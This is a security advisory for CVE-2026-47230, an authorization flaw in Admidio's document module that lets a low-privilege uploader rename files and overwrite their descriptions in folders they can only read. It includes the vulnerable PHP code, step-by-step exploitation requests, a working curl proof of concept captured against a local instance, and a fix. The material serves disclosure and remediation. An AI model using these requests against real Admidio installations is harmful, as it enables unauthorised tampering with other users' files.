PT-2026-45040 · Packagist · Admidio/Admidio

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-47230

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

modules/documents-files.php mode file rename save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder uuid, but the rename operation acts on file uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder uuid:
php
if ($getMode != 'list' && $getMode != 'download') {
  $folder = new Folder($gDb);
  $folder->getFolderForDownload($getFolderUUID);
  if (!$folder->hasUploadRight()) {
    $gMessage->show($gL10n->get('SYS NO RIGHTS'));
  }
}
src/Documents/Service/DocumentsService.php:272-315renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:
php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
  $file = new File($this->db);
  $file->getFileForDownload($fileUUID);             // <-- view rights, not upload
  ...
  $oldFile = $file->getFullFilePath();
  $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO EXTENSION);
  $newPath = pathinfo($oldFile, PATHINFO DIRNAME) . '/';
  FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

  $file->setValue('fil name', $newFile);
  $file->setValue('fil description', $newDescription);
  $file->save();
  ...
}
getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

  1. Attacker user lowuser holds folder upload on public uploadable (UUID c41a99c0-…). They have view (download) rights on view only public (UUID 21b417e2-…, fol public=1) but no upload/edit right there. The folder contains admin announcement.txt (UUID aaae5edd-…).
  2. Render the rename form with a folder uuid of a folder lowuser CAN upload to and a file uuid of the target file: GET /modules/documents-files.php?mode=file rename&folder uuid=c41a99c0-…&file uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
  3. Submit rename: POST /modules/documents-files.php?mode=file rename save&folder uuid=c41a99c0-…&file uuid=aaae5edd-… with adm csrf token=<from step 2>, adm new name=hijacked announcement, adm new description=Hijacked!. Server replies {"status":"success"}. adm files: fil fol id=7 (still the original view only public), fil name='hijacked announcement.txt', fil description='Hijacked!'. On disk: admin announcement.txt is renamed to hijacked announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):
$ curl -sb $cookie 
  "http://127.0.0.1:8085/modules/documents-files.php?mode=file rename&folder uuid=c41a99c0-…&file uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST 
  "http://127.0.0.1:8085/modules/documents-files.php?mode=file rename save&folder uuid=c41a99c0-…&file uuid=aaae5edd-…" 
  -d "adm csrf token=X&adm new name=hijacked announcement&adm new description=Hijacked%21"
{"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio 
  -e "SELECT fil fol id, fil name, fil description FROM adm files WHERE fil uuid='aaae5edd-…';"
fil fol id fil name            fil description
7      hijacked announcement.txt   Hijacked!
The folder ID fil fol id=7 is view only public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:
  • Defacement of public announcements / policies / circulars. A regular member can replace admin announcement.txt with hijacked announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata.
  • Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board minutes 2025-Q4.pdfboard minutes DRAFT-do-not-distribute.pdf).
  • Description-as-XSS-vector (downstream): if any view path treats fil description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.
The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:
php
// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
  $file = new File($this->db);
  $file->getFileForDownload($fileUUID);

  // verify the current user has upload (write) right on the file's parent folder,
  // not just download right (which getFileForDownload enforces)
  $sourceFolder = new Folder($this->db);
  $sourceFolder->readData($file->getValue('fil fol id'));
  if (!$sourceFolder->hasUploadRight()) {
    throw new Exception('SYS NO RIGHTS');
  }
  ...
}
Equivalently, in modules/documents-files.php case 'file rename save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file uuid independently of folder uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file uuid) closes both.

Fix

IDOR

Incorrect Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-47230
GHSA-Q6W3-HPFV-RG36

Affected Products

Admidio/Admidio